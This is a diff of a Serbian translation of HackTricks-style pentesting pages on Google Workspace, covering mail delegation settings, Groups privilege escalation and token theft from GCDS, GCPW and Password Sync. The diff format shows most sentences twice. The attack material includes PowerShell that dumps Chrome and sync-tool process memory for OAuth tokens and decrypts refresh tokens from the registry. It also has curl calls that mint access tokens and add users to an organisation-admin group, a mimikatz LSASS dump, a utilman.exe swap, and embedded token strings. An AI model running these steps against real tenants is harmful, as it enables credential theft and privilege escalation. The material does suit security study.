3. Da biste primenili postavku za sve, ostavite izabranu gornju organizacionu jedinicu. Inače, izaberite pod [organizacionu jedinicu](https://support.google.com/a/topic/1227584).
3. Da biste primenili podešavanje za sve, ostavite izabranu gornju organizacionu jedinicu. Inače, izaberite pod [organizacionu jedinicu](https://support.google.com/a/topic/1227584).
4. Kliknite na **Delegacija pošte**.
5. Proverite **Dozvolite korisnicima da delegiraju pristup svojoj pošti drugim korisnicima u domenu** okvir.
6. (Opcionalno) Da biste omogućili korisnicima da odrede koje informacije o pošiljaocu su uključene u delegirane poruke poslate sa njihovog naloga, proverite **Dozvolite korisnicima da prilagode ovu postavku** okvir.
5. Proverite kutiju **Dozvoli korisnicima da delegiraju pristup svojoj pošti drugim korisnicima u domenu**.
6. (Opcionalno) Da biste dozvolili korisnicima da odrede koje informacije o pošiljaocu su uključene u delegirane poruke poslate sa njihovog naloga, proverite kutiju **Dozvoli korisnicima da prilagode ovo podešavanje**.
7. Izaberite opciju za podrazumevane informacije o pošiljaocu koje su uključene u poruke koje šalju delegati:
- **Prikaži vlasnika naloga i delegata koji je poslao email**—Poruke uključuju email adrese vlasnika Gmail naloga i delegata.
- **Prikaži samo vlasnika naloga**—Poruke uključuju email adresu samo vlasnika Gmail naloga. Email adresa delegata nije uključena.
8. (Opcionalno) Da biste omogućili korisnicima da dodaju grupu u Grupama kao delegata, proverite **Dozvolite korisnicima da dodele pristup svojoj pošti Google grupi** okvir.
9. Kliknite na **Sačuvaj**. Ako ste konfigurisali pod organizacionu jedinicu, možda ćete moći da **Nasledite** ili **Zamenite** postavke roditeljske organizacione jedinice.
8. (Opcionalno) Da biste dozvolili korisnicima da dodaju grupu u Grupama kao delegata, proverite kutiju **Dozvoli korisnicima da dodele pristup svojoj pošti Google grupi**.
9. Kliknite na **Sačuvaj**. Ako ste konfigurisali pod organizacionu jedinicu, možda ćete moći da **nasledite** ili **prepravite** podešavanja roditeljske organizacione jedinice.
10. (Opcionalno) Da biste uključili Gmail delegaciju za druge organizacione jedinice, ponovite korake 39.
Promene mogu potrajati do 24 sata, ali obično se dešavaju brže. [Saznajte više](https://support.google.com/a/answer/7514107)
@@ -122,7 +122,7 @@ Promene mogu potrajati do 24 sata, ali obično se dešavaju brže. [Saznajte vi
Nakon što uključite delegaciju, vaši korisnici idu na svoja Gmail podešavanja da dodele delegate. Delegati tada mogu čitati, slati i primati poruke u ime korisnika.
Za detalje, uputite korisnike na [Delegirajte i sarađujte na email-u](https://support.google.com/a/users/answer/138350).
Za detalje, uputite korisnike na [Delegiranje i saradnja na emailu](https://support.google.com/a/users/answer/138350).
</details>
@@ -143,7 +143,7 @@ Ako koristite Gmail preko svog posla, škole ili druge organizacije:
1. Na svom računaru, otvorite [Gmail](https://mail.google.com/). Ne možete dodati delegate iz Gmail aplikacije.
2. U gornjem desnom uglu, kliknite na Podešavanja ![Settings](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![i zatim](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **Pogledajte sve postavke**.
3. Kliknite na **Nalozi i uvoz** ili **Nalozi** tab.
4. U sekciji "Dodeli pristup svom nalogu", kliknite na **Dodaj drugi nalog**. Ako koristite Gmail preko svog posla ili škole, vaša organizacija može ograničiti delegaciju email-a. Ako ne vidite ovu postavku, kontaktirajte svog administratora.
4. U sekciji "Dodeli pristup svom nalogu", kliknite na **Dodaj drugi nalog**. Ako koristite Gmail preko svog posla ili škole, vaša organizacija može ograničiti delegaciju emaila. Ako ne vidite ovo podešavanje, kontaktirajte svog administratora.
- Ako ne vidite Dodeli pristup svom nalogu, onda je to ograničeno.
5. Unesite email adresu osobe koju želite da dodate. Ako koristite Gmail preko svog posla, škole ili druge organizacije, i vaš administrator to dozvoljava, možete uneti email adresu grupe. Ova grupa mora imati istu domenu kao vaša organizacija. Spoljni članovi grupe su odbijeni pristup delegaciji.\
\
@@ -4,14 +4,14 @@
## Google Groups Privesc
Po defaultu, u workspace-u, **grupa** može biti **slobodno dostupna** bilo kojem članu organizacije.\
Workspace takođe omogućava **dodeljivanje dozvola grupama** (čak i GCP dozvola), tako da ako se grupe mogu pridružiti i imaju dodatne dozvole, napadač može **iskoristiti tu putanju za eskalaciju privilegija**.
Podrazumevano, u workspace-u **grupa** može biti **slobodno dostupna** bilo kojem članu organizacije.\
Workspace takođe omogućava da se **dodele dozvole grupama** (čak i GCP dozvole), tako da ako se grupe mogu pridružiti i imaju dodatne dozvole, napadač može **iskoristiti tu putanju za eskalaciju privilegija**.
Potrebno je da imate pristup konzoli da biste se pridružili grupama koje dozvoljavaju pridruživanje bilo kome u organizaciji. Proverite informacije o grupama na [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
### Access Groups Mail info
Ako ste uspeli da **kompromitujete sesiju google korisnika**, sa [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) možete videti istoriju mejlova poslatih grupama na koje je korisnik član, i možda ćete pronaći **akreditive** ili druge **osetljive podatke**.
Ako ste uspeli da **kompromitujete sesiju google korisnika**, sa [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) možete videti istoriju mejlova poslatih grupama mejlova čiji je korisnik član, i možda ćete pronaći **akreditive** ili druge **osetljive podatke**.
## GCP <--> GWS Pivoting
@@ -27,7 +27,7 @@ Ako imate **sesiju unutar google naloga žrtve**, možete preuzeti sve što Goog
Ako organizacija ima **Google Vault omogućen**, možda ćete moći da pristupite [**https://vault.google.com**](https://vault.google.com/u/1/) i **preuzmete** sve **informacije**.
## Preuzimanje kontakata
## Contacts download
Sa [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) možete preuzeti sve **kontakte** korisnika.
@@ -43,7 +43,7 @@ Na [**https://mail.google.com/chat**](https://mail.google.com/chat) možete pris
Kada **delite** dokument, možete **navesti** **ljude** koji mogu da mu pristupe jedan po jedan, **podeliti** ga sa vašom **celom kompanijom** (**ili** sa nekim specifičnim **grupama**) generisanjem linka.
Kada delite dokument, u naprednim podešavanjima takođe možete **dozvoliti ljudima da pretražuju** ovaj fajl (po **defaultu** je **onemogućeno**). Međutim, važno je napomenuti da kada korisnici pogledaju dokument, on postaje pretražljiv za njih.
Kada delite dokument, u naprednim podešavanjima takođe možete **dozvoliti ljudima da pretražuju** ovaj fajl (po **default-u** je **onemogućeno**). Međutim, važno je napomenuti da kada korisnici pogledaju dokument, on postaje pretraživ za njih.
Radi jednostavnosti, većina ljudi će generisati i deliti link umesto da dodaju ljude koji mogu da pristupe dokumentu jedan po jedan.
@@ -58,7 +58,7 @@ Na [**https://keep.google.com/**](https://keep.google.com) možete pristupiti be
### Modify App Scripts
Na [**https://script.google.com/**](https://script.google.com/) možete pronaći APP Scripts korisnika.
Na [**https://script.google.com/**](https://script.google.com/) možete pronaći APP Skripte korisnika.
## **Administrate Workspace**
@@ -4,7 +4,7 @@
## GCPW - Google Credential Provider for Windows
Ovo je jedinstveno prijavljivanje koje Google Workspace pruža kako bi korisnici mogli da se prijave na svojim Windows PC-ima koristeći **svoje Workspace akreditive**. Štaviše, ovo će čuvati **tokene** za pristup Google Workspace na nekim mestima na PC-u: Disk, memorija i registri... čak je moguće dobiti **lozinku u čistom tekstu**.
Ovo je jedinstveno prijavljivanje koje Google Workspaces pruža kako bi korisnici mogli da se prijave na svojim Windows PC-ima koristeći **svoje Workspace akreditive**. Štaviše, ovo će čuvati **tokene** za pristup Google Workspace na nekim mestima na PC-u: Disk, memorija i registri... čak je moguće dobiti **lozinku u čistom tekstu**.
> [!TIP]
> Imajte na umu da [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) može da detektuje **GCPW**, dobije informacije o konfiguraciji i **čak tokene**.
@@ -17,7 +17,7 @@ gcpw-google-credential-provider-for-windows.md
## GCSD - Google Cloud Directory Sync
Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa aktivnog direktorijuma sa vašim Workspace-om** (a ne obrnuto u vreme pisanja ovog teksta).
Ovo je alat koji se može koristiti za **sinhronizaciju vaših aktivnih korisnika i grupa sa vašim Workspace** (a ne obrnuto u vreme pisanja ovog teksta).
Zanimljivo je jer je to alat koji će zahtevati **akreditive superkorisnika Workspace-a i privilegovanog AD korisnika**. Tako da bi moglo biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
@@ -32,9 +32,9 @@ gcds-google-cloud-directory-sync.md
## GPS - Google Password Sync
Ovo je binarni fajl i servis koji Google nudi kako bi **održao sinhronizovane lozinke korisnika između AD-a** i Workspace-a. Svaki put kada korisnik promeni svoju lozinku u AD-u, ona se postavlja na Google.
Ovo je binarni program i usluga koju Google nudi kako bi **održao sinhronizovane lozinke korisnika između AD** i Workspace-a. Svaki put kada korisnik promeni svoju lozinku u AD, ona se postavlja na Google.
Instalira se u `C:\Program Files\Google\Password Sync` gde možete pronaći binarni fajl `PasswordSync.exe` za konfiguraciju i `password_sync_service.exe` (servis koji će nastaviti da radi).
Instalira se u `C:\Program Files\Google\Password Sync` gde možete pronaći binarni program `PasswordSync.exe` za konfiguraciju i `password_sync_service.exe` (usluga koja će nastaviti da radi).
> [!TIP]
> Imajte na umu da [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) može da detektuje **GPS**, dobije informacije o konfiguraciji i **čak lozinke i enkriptovane akreditive**.
@@ -47,7 +47,7 @@ gps-google-password-sync.md
## Admin Directory Sync
Glavna razlika između ovog načina sinhronizacije korisnika sa GCDS je ta što se GCDS radi ručno sa nekim binarnim fajlovima koje treba preuzeti i pokrenuti dok je **Admin Directory Sync bezserverski** i upravlja ga Google na [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
Glavna razlika između ovog načina sinhronizacije korisnika sa GCDS je ta što se GCDS radi ručno sa nekim binarnim programima koje treba preuzeti i pokrenuti dok je **Admin Directory Sync bezserverski** i upravlja ga Google na [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
Pronađite više informacija o ovome u:
@@ -4,7 +4,7 @@
## Osnovne informacije
Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa aktivnog direktorijuma sa vašim Workspace** (a ne obrnuto u vreme pisanja ovog teksta).
Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa iz aktivnog direktorijuma sa vašim Workspace** (a ne obrnuto u vreme pisanja ovog teksta).
Zanimljivo je jer je to alat koji će zahtevati **akreditive superkorisnika Workspace-a i privilegovanog AD korisnika**. Tako da bi moglo biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
@@ -20,7 +20,7 @@ Takođe imajte na umu da GCDS neće sinhronizovati lozinke iz AD u Workspace. Ak
### GCDS - Disk tokeni i AD akreditive
Binarna datoteka `config-manager.exe` (glavna GCDS binarna datoteka sa GUI) će po defaultu čuvati konfigurirane akreditive aktivnog direktorijuma, osvežavajući token i pristup u **xml datoteci** u folderu **`C:\Program Files\Google Cloud Directory Sync`** u datoteci pod nazivom **`Untitled-1.xml`**. Iako bi takođe mogla biti sačuvana u `Dokumentima` korisnika ili u **bilo kojem drugom folderu**.
Binarna datoteka `config-manager.exe` (glavna GCDS binarna datoteka sa GUI) će po defaultu čuvati konfigurirane akreditive aktivnog direktorijuma, osvežavajući token i pristup u **xml datoteci** u folderu **`C:\Program Files\Google Cloud Directory Sync`** u datoteci pod nazivom **`Untitled-1.xml`**. Iako bi takođe mogla biti sačuvana u `Documents` korisnika ili u **bilo kojem drugom folderu**.
Štaviše, registar **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** unutar ključa **`open.recent`** sadrži putanje do svih nedavno otvorenih konfiguracionih datoteka (xml). Tako da je moguće **proveriti to da ih pronađete**.
@@ -150,18 +150,18 @@ Write-Host "Decrypted Password: $decryptedPassword"
</details>
> [!NOTE]
> Imajte na umu da je moguće proveriti ove informacije pregledanjem java koda **`DirSync.jar`** iz **`C:\Program Files\Google Cloud Directory Sync`** pretražujući string `exportkeys` (jer je to cli parametar koji binarni `upgrade-config.exe` očekuje da izvuče ključeve).
> Imajte na umu da je moguće proveriti ove informacije pregledanjem java koda **`DirSync.jar`** iz **`C:\Program Files\Google Cloud Directory Sync`** pretražujući string `exportkeys` (jer je to cli parametar koji binarni fajl `upgrade-config.exe` očekuje da bi izneo ključeve).
Umesto korišćenja powershell skripte, takođe je moguće koristiti binarni **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** sa parametrom `-exportKeys` i dobiti **Key** i **IV** iz registra u heksadecimalnom formatu, a zatim jednostavno koristiti neki cyberchef sa AES/CBC i tim ključem i IV za dešifrovanje informacija.
Umesto korišćenja powershell skripte, takođe je moguće koristiti binarni fajl **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** sa parametrom `-exportKeys` i dobiti **Key** i **IV** iz registra u heksadecimalnom formatu, a zatim jednostavno koristiti neki cyberchef sa AES/CBC i tim ključem i IV za dešifrovanje informacija.
### GCDS - Ispisivanje tokena iz memorije
### GCDS - Ispis tokena iz memorije
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `config-manager.exe` (to je naziv glavnog binarnog GCDS-a sa GUI) i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
Pretpostavljam da biste takođe mogli pronaći AD konfigurisane kredencijale.
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `config-manager.exe` (to je naziv glavnog binarnog fajla GCDS sa GUI) i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
Pretpostavljam da biste takođe mogli pronaći AD konfigurisanih kredencijala.
<details>
<summary>Ispisivanje procesa config-manager.exe i pretraga tokena</summary>
<summary>Ispis procesa config-manager.exe i pretraga tokena</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
@@ -237,7 +237,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
### GCDS - Generisanje pristupnih tokena iz osvežavajućih tokena
Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajnu klijenta navedene u sledećoj komandi:
Korišćenjem osvežavajućeg tokena moguće je generisati pristupne tokene koristeći ga i ID klijenta i tajni ključ klijenta navedene u sledećoj komandi:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
@@ -245,18 +245,18 @@ curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
```
### GCDS - Scopes
### GCDS - Opsezi
> [!NOTE]
> Imajte na umu da čak i kada imate refresh token, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo **scope-ove koje podržava aplikacija u kojoj generišete access token**.
> Imajte na umu da čak i sa refresh token-om, nije moguće zatražiti bilo koji opseg za access token jer možete zatražiti samo **opsege koje podržava aplikacija u kojoj generišete access token**.
>
> Takođe, refresh token nije važeći u svakoj aplikaciji.
Podrazumevano, GCSD neće imati pristup kao korisnik svim mogućim OAuth scope-ovima, pa možemo koristiti sledeći skript da pronađemo scope-ove koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
Podrazumevano, GCSD neće imati pristup kao korisnik svim mogućim OAuth opsezima, pa možemo koristiti sledeći skript da pronađemo opsege koji se mogu koristiti sa `refresh_token` za generisanje `access_token`:
<details>
<summary>Bash script to brute-force scopes</summary>
<summary>Bash skript za brute-force opsege</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
@@ -291,7 +291,7 @@ https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts
```
#### Kreirajte korisnika i dodajte ga u grupu `gcp-organization-admins` da biste pokušali da eskalirate u GCP
#### Kreirajte korisnika i dodajte ga u grupu `gcp-organization-admins` da biste pokušali da eskalirate privilegije u GCP
```bash
# Create new user
curl -X POST \
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example
```
> [!CAUTION]
> Nije moguće dodeliti novom korisniku Super Amin ulogu jer **osveženi token nema dovoljno opsega** da dodeli potrebne privilegije.
> Nije moguće dodeliti novom korisniku Super Amin ulogu jer **refresh token nema dovoljno opsega** da dodeli potrebne privilegije.
{{#include ../../../banners/hacktricks-training.md}}
@@ -27,11 +27,13 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
Nova linija je dodata da bi se poboljšala čitljivost.
> [!NOTE]
> Moguće je izvršiti MitM instaliranjem `Proxifier` na PC, prepisivanjem `utilman.exe` binarne datoteke sa `cmd.exe` i izvršavanjem **funkcija pristupačnosti** na Windows stranici za prijavu, što će izvršiti **CMD** iz kojeg možete **pokrenuti i konfigurisati Proxifier**.\
> Bilo je moguće izvršiti MitM instaliranjem `Proxifier` na PC, prepisivanjem `utilman.exe` binarne datoteke sa `cmd.exe` i izvršavanjem **funkcija pristupačnosti** na Windows stranici za prijavu, što će izvršiti **CMD** iz kojeg možete **pokrenuti i konfigurisati Proxifier**.\
> Ne zaboravite da **blokirate QUICK UDP** saobraćaj u `Proxifier` kako bi se prešao na TCP komunikaciju i mogli biste ga videti.
>
> Takođe konfigurišite u "Servisirani i drugi korisnici" obe opcije i instalirajte Burp CA certifikat u Windows.
> Takođe konfigurišite u "Serviced and other users" obe opcije i instalirajte Burp CA certifikat u Windows.
Pored toga, dodavanjem ključeva `enable_verbose_logging = 1` i `log_file_path = C:\Public\gcpw.log` u **`HKLM:\SOFTWARE\Google\GCPW`** moguće je sačuvati neke logove.
@@ -62,12 +64,12 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
```
U **`HKCU:\SOFTWARE\Google\Accounts`** je moguće pristupiti emailu korisnika i enkriptovanom **refresh tokenu** ako se korisnik nedavno prijavio.
U **`HKCU:\SOFTWARE\Google\Accounts`** moguće je pristupiti emailu korisnika i enkriptovanom **refresh token** ako se korisnik nedavno prijavio.
U **`HKLM:\SOFTWARE\Google\GCPW\Users`** je moguće pronaći **domeni** koji su dozvoljeni za prijavu u ključiću `domains_allowed`, a u podključevima je moguće pronaći informacije o korisniku kao što su email, slika, korisničko ime, trajanje tokena, token handle...
U **`HKLM:\SOFTWARE\Google\GCPW\Users`** moguće je pronaći **domeni** koji su dozvoljeni za prijavu u ključeve `domains_allowed`, a u podključevima je moguće pronaći informacije o korisniku kao što su email, slika, korisničko ime, trajanje tokena, token handle...
> [!NOTE]
> Token handle je token koji počinje sa `eth.` i iz kojeg se može izvući neka informacija sa zahtevom kao što je:
> Token handle je token koji počinje sa `eth.` i iz kojeg se može izvući neka informacija putem zahteva kao što je:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
@@ -80,7 +82,7 @@ U **`HKLM:\SOFTWARE\Google\GCPW\Users`** je moguće pronaći **domeni** koji su
> }
> ```
>
> Takođe je moguće pronaći token handle pristupnog tokena sa zahtevom kao što je:
> Takođe je moguće pronaći token handle pristupnog tokena putem zahteva kao što je:
>
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
@@ -96,15 +98,15 @@ U **`HKLM:\SOFTWARE\Google\GCPW\Users`** je moguće pronaći **domeni** koji su
> }
> ```
>
> Koliko ja znam, nije moguće dobiti refresh token ili access token iz token handle-a.
> Koliko ja znam, nije moguće dobiti refresh token ili access token iz token handle.
Pored toga, datoteka **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** je json koji sadrži informacije o različitim **podešavanjima** kao što su `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (ako više korisnika iz Workspace može da se prijavi na računar) i `validityPeriodDays` (broj dana koliko korisnik ne mora da se ponovo autentifikuje sa Google-om direktno).
Pored toga, datoteka **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** je json koji sadrži informacije o različitim **podešavanjima** kao što su `enableDmEnrollment`, `enableGcpAutoUpdate`, `enableMultiUserLogin` (ako više korisnika iz Workspace može da se prijavi na računar) i `validityPeriodDays` (broj dana tokom kojih korisnik ne mora ponovo da se autentifikuje sa Google-om direktno).
## GCPW - Dobijanje Tokena
### GCPW - Registry Refresh Tokens
Unutar registra **`HKCU:\SOFTWARE\Google\Accounts`** može biti moguće pronaći neke naloge sa **`refresh_token`** enkriptovanim unutra. Metoda **`ProtectedData.Unprotect`** može lako dekriptovati to.
Unutar registra **`HKCU:\SOFTWARE\Google\Accounts`** može biti moguće pronaći neke naloge sa **`refresh_token`** enkriptovanim unutra. Metoda **`ProtectedData.Unprotect`** može lako dekriptovati.
<details>
@@ -160,8 +162,6 @@ Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
</details>
Primer izlaza:
```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
@@ -169,24 +169,24 @@ Kao što je objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=FEQxH
### GCPW - Tokeni za osvežavanje diska
Fajl **`%LocalAppData%\Google\Chrome\User Data\Local State`** čuva ključ za dešifrovanje **`refresh_tokens`** koji se nalaze unutar **Google Chrome profila** korisnika kao što su:
Fajl **`%LocalAppData%\Google\Chrome\User Data\Local State`** čuva ključ za dekripciju **`refresh_tokens`** koji se nalazi unutar **Google Chrome profila** korisnika kao što su:
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
Moguće je pronaći neki **C# kod** koji pristupa ovim tokenima u njihovom dešifrovanom obliku u [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
Moguće je pronaći neki **C# kod** koji pristupa ovim tokenima u njihovom dekriptovanom obliku u [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
Štaviše, enkripcija se može pronaći u ovom kodu: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
Može se primetiti da se koristi AESGCM, enkriptovani token počinje sa **verzijom** (**`v10`** u ovom trenutku), zatim [**ima 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a zatim ima **šifrovani tekst** sa konačnim **mac od 16B**.
Može se primetiti da se koristi AESGCM, enkriptovani token počinje sa **verzijom** (**`v10`** u ovom trenutku), zatim [**ima 12B nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), a zatim ima **šifrovani tekst** sa konačnim **mac-om od 16B**.
### GCPW - Ispisivanje tokena iz memorije procesa
Sledeći skript može se koristiti za **dump** svakog **Chrome** procesa koristeći `procdump`, ekstraktovati **stringove** i zatim **pretražiti** stringove povezane sa **access i refresh tokenima**. Ako je Chrome povezan sa nekim Google sajtom, neki **proces će čuvati refresh i/ili access tokene u memoriji!**
Sledeći skript može se koristiti za **ispisivanje** svakog **Chrome** procesa koristeći `procdump`, ekstraktovanje **stringova** i zatim **pretragu** za stringovima vezanim za **access i refresh token**. Ako je Chrome povezan sa nekim Google sajtom, neki **proces će čuvati refresh i/ili access tokene u memoriji!**
<details>
<summary>Dump Chrome procesa i pretraži tokene</summary>
<summary>Ispisivanje Chrome procesa i pretraga tokena</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
@@ -380,7 +380,7 @@ https://www.googleapis.com/auth/userinfo.profile
```
</details>
Pored toga, pregledanjem izvornog koda Chromium-a moguće je [**pronaći ovu datoteku**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), koja sadrži **druge opsege** za koje se može pretpostaviti da **se ne pojavljuju u prethodno bruteforce-ovanoj listi**. Stoga se ovi dodatni opsezi mogu pretpostaviti:
Pored toga, pregledanjem izvornog koda Chromium-a moguće je [**pronaći ovu datoteku**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), koja sadrži **druge opsege** za koje se može pretpostaviti da **se ne pojavljuju u prethodno brute-forced listi**. Stoga se ovi dodatni opsezi mogu pretpostaviti:
<details>
@@ -463,7 +463,7 @@ https://www.googleapis.com/auth/wallet.chrome
```
</details>
Napomena da je najzanimljiviji možda:
Napomena da je najzanimljiviji verovatno:
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
@@ -762,7 +762,7 @@ curl -X POST \
**Google Workspace Vault** je dodatak za Google Workspace koji pruža alate za čuvanje podataka, pretragu i izvoz podataka vaše organizacije koji su pohranjeni u Google Workspace uslugama kao što su Gmail, Drive, Chat i druge.
- **Materija** u Google Workspace Vault je **kontejner** koji organizuje i grupiše sve informacije povezane sa određenim slučajem, istragom ili pravnom stvari. Služi kao centralno mesto za upravljanje **Zadržavanjima**, **Pretragama** i **Izvozima** koji se odnose na tu određenu temu.
- **Materija** u Google Workspace Vault je **kontejner** koji organizuje i grupiše sve informacije vezane za određeni slučaj, istragu ili pravnu stvar. Služi kao centralno mesto za upravljanje **Zadržavanjima**, **Pretragama** i **Izvozima** koji se odnose na tu konkretnu temu.
- **Zadržavanje** u Google Workspace Vault je **akcija očuvanja** koja se primenjuje na određene korisnike ili grupe kako bi se **sprečilo brisanje ili izmena** njihovih podataka unutar Google Workspace usluga. Zadržavanja osiguravaju da relevantne informacije ostanu netaknute i nepromenjene tokom trajanja pravnog slučaja ili istrage.
```bash
# List matters
@@ -797,7 +797,7 @@ Više [API krajnjih tačaka u dokumentaciji](https://developers.google.com/vault
## GCPW - Oporavak lozinke u čistom tekstu
Da bi se iskoristio GCPW za oporavak lozinke u čistom tekstu, moguće je izvući enkriptovanu lozinku iz **LSASS** koristeći **mimikatz**:
Da bi se iskoristio GCPW za oporavak lozinke u čistom tekstu, moguće je izvući šifrovanu lozinku iz **LSASS** koristeći **mimikatz**:
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
@@ -809,7 +809,7 @@ Zatim, sa **access token**-om sa opsegom `https://www.google.com/accounts/OAuthL
<details>
<summary>Script to obtain the password in clear-text given the access token, encrypted password and resource id</summary>
<summary>Script za dobijanje lozinke u čistom tekstu na osnovu access token-a, enkriptovane lozinke i id resursa</summary>
```python
import requests
from base64 import b64decode
@@ -12,9 +12,9 @@ Instalira se u `C:\Program Files\Google\Password Sync` gde možete pronaći bina
Da biste konfigurisali ovaj binarni fajl (i servis), potrebno je **dati mu pristup Super Admin principalu u Workspace-u**:
- Prijavite se putem **OAuth** sa Google-om i zatim će **sačuvati token u registru (kriptovan)**
- Prijavite se putem **OAuth** sa Google-om i onda će **sačuvati token u registru (kriptovan)**
- Dostupno samo na kontrolerima domena sa GUI
- Dati neke **akreditivne podatke Servisnog naloga iz GCP** (json fajl) sa dozvolama da **upravljaju korisnicima Workspace-a**
- Dati neke **akreditivne podatke Servisnog Naloga iz GCP-a** (json fajl) sa dozvolama za **upravljanje korisnicima Workspace-a**
- Veoma loša ideja jer ti akreditivi nikada ne isteknu i mogu se zloupotrebiti
- Veoma loša ideja dati SA pristup preko workspace-a jer bi SA mogao biti kompromitovan u GCP-u i moguće je prebaciti se na Workspace
- Google to zahteva za kontrolisane domene bez GUI
@@ -47,7 +47,7 @@ U slučaju da je Password Sync **konfiguran sa SA akreditivima**, takođe će bi
### GPS - Ispisivanje tokena iz memorije
Baš kao i sa GCPW, moguće je ispisati memoriju procesa `PasswordSync.exe` i `password_sync_service.exe` i moći ćete da pronađete refresh i access tokene (ako su već generisani).\
Pretpostavljam da biste takođe mogli pronaći konfigurirane akreditive za AD.
Pretpostavljam da biste takođe mogli pronaći konfiguracione akreditive za AD.
<details>
@@ -140,15 +140,15 @@ https://www.googleapis.com/oauth2/v4/token
### GPS - Scopes
> [!NOTE]
> Imajte na umu da čak i sa refresh token-om, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo **scope-ove koje podržava aplikacija u kojoj generišete access token**.
> Imajte na umu da čak i kada imate refresh token, nije moguće zatražiti bilo koji scope za access token jer možete zatražiti samo **scope-ove koje podržava aplikacija u kojoj generišete access token**.
>
> Takođe, refresh token nije važeći u svakoj aplikaciji.
